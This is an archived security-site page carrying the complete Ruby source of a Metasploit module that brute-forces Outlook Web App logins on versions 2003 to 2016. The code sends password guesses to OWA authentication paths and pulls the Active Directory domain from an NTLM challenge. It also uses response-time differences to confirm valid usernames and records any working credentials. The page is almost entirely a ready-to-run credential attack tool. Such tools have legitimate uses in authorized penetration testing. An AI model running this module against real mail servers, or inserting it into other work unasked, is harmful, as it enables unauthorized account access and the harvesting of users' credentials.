what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Outlook Web App (OWA) Brute Force Utility

Outlook Web App (OWA) Brute Force Utility
Posted Sep 1, 2024
Authored by Andrew Smith, sinn3r, Spencer McIntyre, Brandon Knight, Nate Power, Chapman Schleiss, Pete Arzamendi, Vitor Moreira, SecureState R&D Team | Site metasploit.com

This Metasploit module tests credentials on OWA 2003, 2007, 2010, 2013, and 2016 servers.

tags | exploit
SHA-256 | fe449d1093c827b43ae6705f3fdb503e01d7ff4b5ec59ad4e40f9657a25a142a

Outlook Web App (OWA) Brute Force Utility

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner


def initialize
super(
'Name' => 'Outlook Web App (OWA) Brute Force Utility',
'Description' => %q{
This module tests credentials on OWA 2003, 2007, 2010, 2013, and 2016 servers.
},
'Author' =>
[
'Vitor Moreira',
'Spencer McIntyre',
'SecureState R&D Team',
'sinn3r',
'Brandon Knight',
'Pete (Bokojan) Arzamendi', # Outlook 2013 updates
'Nate Power', # HTTP timing option
'Chapman (R3naissance) Schleiss', # Save username in creds if response is less
'Andrew Smith' # valid creds, no mailbox
],
'License' => MSF_LICENSE,
'Actions' =>
[
[
'OWA_2003',
{
'Description' => 'OWA version 2003',
'AuthPath' => '/exchweb/bin/auth/owaauth.dll',
'InboxPath' => '/exchange/',
'InboxCheck' => /Inbox/
}
],
[
'OWA_2007',
{
'Description' => 'OWA version 2007',
'AuthPath' => '/owa/auth/owaauth.dll',
'InboxPath' => '/owa/',
'InboxCheck' => /addrbook.gif/
}
],
[
'OWA_2010',
{
'Description' => 'OWA version 2010',
'AuthPath' => '/owa/auth.owa',
'InboxPath' => '/owa/',
'InboxCheck' => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found|\<a .+onclick="return JumpTo\('logoff\.aspx.+\">/
}
],
[
'OWA_2013',
{
'Description' => 'OWA version 2013',
'AuthPath' => '/owa/auth.owa',
'InboxPath' => '/owa/',
'InboxCheck' => /Inbox|logoff\.owa/
}
],
[
'OWA_2016',
{
'Description' => 'OWA version 2016',
'AuthPath' => '/owa/auth.owa',
'InboxPath' => '/owa/',
'InboxCheck' => /Inbox|logoff\.owa/
}
]
],
'DefaultAction' => 'OWA_2013',
'DefaultOptions' => {
'SSL' => true
}
)

register_options(
[
OptInt.new('RPORT', [ true, "The target port", 443]),
OptAddress.new('RHOST', [ true, "The target address" ]),
OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]),
OptBool.new('AUTH_TIME', [ false, "Check HTTP authentication response time", true])
])


register_advanced_options(
[
OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']),
OptFloat.new('BaselineAuthTime', [ false, "Baseline HTTP authentication response time for invalid users", 1.0])
])

deregister_options('BLANK_PASSWORDS', 'RHOSTS')
end

def setup
# Here's a weird hack to check if each_user_pass is empty or not
# apparently you cannot do each_user_pass.empty? or even inspect() it
isempty = true
each_user_pass do |user|
isempty = false
break
end
raise ArgumentError, "No username/password specified" if isempty
end

def run
vhost = datastore['VHOST'] || datastore['RHOST']

print_status("#{msg} Testing version #{action.name}")

auth_path = action.opts['AuthPath']
inbox_path = action.opts['InboxPath']
login_check = action.opts['InboxCheck']

domain = nil

if datastore['AD_DOMAIN'] and not datastore['AD_DOMAIN'].empty?
domain = datastore['AD_DOMAIN']
end

if ((datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '') and datastore['ENUM_DOMAIN'])
domain = get_ad_domain
end

begin
each_user_pass do |user, pass|
next if (user.blank? or pass.blank?)
vprint_status("#{msg} Trying #{user} : #{pass}")
try_user_pass({
user: user,
domain: domain,
pass: pass,
auth_path: auth_path,
inbox_path: inbox_path,
login_check: login_check,
vhost: vhost
})
end
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
print_error("#{msg} HTTP Connection Error, Aborting")
end
end

def try_user_pass(opts)
user = opts[:user]
pass = opts[:pass]
auth_path = opts[:auth_path]
inbox_path = opts[:inbox_path]
login_check = opts[:login_check]
vhost = opts[:vhost]
domain = opts[:domain]

user = domain + '\\' + user if domain

headers = {
'Cookie' => 'PBack=0'
}

if datastore['SSL']
if ["OWA_2013", "OWA_2016"].include?(action.name)
data = 'destination=https://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
else
data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
end
else
if ["OWA_2013", "OWA_2016"].include?(action.name)
data = 'destination=http://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
else
data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
end
end

begin
if datastore['AUTH_TIME']
start_time = Time.now
end
baseline = datastore['BaselineAuthTime'] || 1.0

res = send_request_cgi({
'encode' => true,
'uri' => auth_path,
'method' => 'POST',
'headers' => headers,
'data' => data
})

if datastore['AUTH_TIME']
elapsed_time = Time.now - start_time
end
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error("#{msg} HTTP Connection Failed, Aborting")
return :abort
end

if not res
print_error("#{msg} HTTP Connection Error, Aborting")
return
end

if res.peerinfo['addr'] != datastore['RHOST']
vprint_status("#{msg} Resolved hostname '#{datastore['RHOST']}' to address #{res.peerinfo['addr']}")
end

if !["OWA_2013", "OWA_2016"].include?(action.name) && res.get_cookies.empty?
print_error("#{msg} Received invalid response due to a missing cookie (possibly due to invalid version), aborting")
return :abort
end
if ["OWA_2013", "OWA_2016"].include?(action.name)
# Check for a response code to make sure login was valid. Changes from 2010 to 2013 / 2016
# Check if the password needs to be changed.
if res.headers['location'] =~ /expiredpassword/
print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}': NOTE password change required")
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user,
password: pass
)
return :next_user
end

# No password change required moving on.
# Check for valid login but no mailbox setup
print_good("server type: #{res.headers["X-FEServer"]}")
if res.headers['location'] =~ /owa/ and res.headers['location'] !~ /reason/
print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}'")
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user,
password: pass
)
return :next_user
end

unless location = res.headers['location']
print_error("#{msg} No HTTP redirect. This is not OWA 2013 / 2016 system, aborting.")
return :abort
end
reason = location.split('reason=')[1]
if reason == nil
headers['Cookie'] = 'PBack=0;' << res.get_cookies
else
# Login didn't work. no point in going on, however, check if valid domain account by response time.
if elapsed_time && elapsed_time <= baseline
unless user =~ /@\w+\.\w+/
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user
)
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
return :Skip_pass
end
else
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (HTTP redirect with reason #{reason})")
return :Skip_pass
end
end
else
# The authentication info is in the cookies on this response
cookies = res.get_cookies
cookie_header = 'PBack=0'
%w(sessionid cadata).each do |necessary_cookie|
if cookies =~ /#{necessary_cookie}=([^;]*)/
cookie_header << "; #{Regexp.last_match(1)}"
else
print_error("#{msg} Missing #{necessary_cookie} cookie. This is not OWA 2010, aborting")
return :abort
end
end
headers['Cookie'] = cookie_header
end

begin
res = send_request_cgi({
'uri' => inbox_path,
'method' => 'GET',
'headers' => headers
}, 20)
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error("#{msg} HTTP Connection Failed, Aborting")
return :abort
end

if not res
print_error("#{msg} HTTP Connection Error, Aborting")
return :abort
end

if res.redirect?
if elapsed_time && elapsed_time <= baseline
unless user =~ /@\w+\.\w+/
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user
)
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
return :Skip_pass
end
else
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response was a #{res.code} redirect)")
return :skip_pass
end
end

if res.body =~ login_check
print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}'")
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user,
password: pass
)
return :next_user
else
if elapsed_time && elapsed_time <= baseline
unless user =~ /@\w+\.\w+/
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user
)
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
return :Skip_pass
end
else
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response body did not match)")
return :skip_pass
end
end
end

def get_ad_domain
urls = ['aspnet_client',
'Autodiscover',
'ecp',
'EWS',
'Microsoft-Server-ActiveSync',
'OAB',
'PowerShell',
'Rpc']

domain = nil

urls.each do |url|
begin
res = send_request_cgi({
'encode' => true,
'uri' => "/#{url}",
'method' => 'GET',
'headers' => {'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=='}
})
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
vprint_error("#{msg} HTTP Connection Failed")
next
end

if not res
vprint_error("#{msg} HTTP Connection Timeout")
next
end

if res && res.code == 401 && res.headers.has_key?('WWW-Authenticate') && res.headers['WWW-Authenticate'].match(/^NTLM/i)
hash = res['WWW-Authenticate'].split('NTLM ')[1]
domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'')
print_good("Found target domain: #{domain}")
return domain
end
end

return domain
end

def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}

# Test if password was passed, if so, add private_data. If not, assuming only username was found
if opts.has_key?(:password)
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
else
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user]
}.merge(service_data)
end

login_data = {
core: create_credential(credential_data),
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL,
}.merge(service_data)

create_credential_login(login_data)
end

def msg
"#{vhost}:#{rport} OWA -"
end
end
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close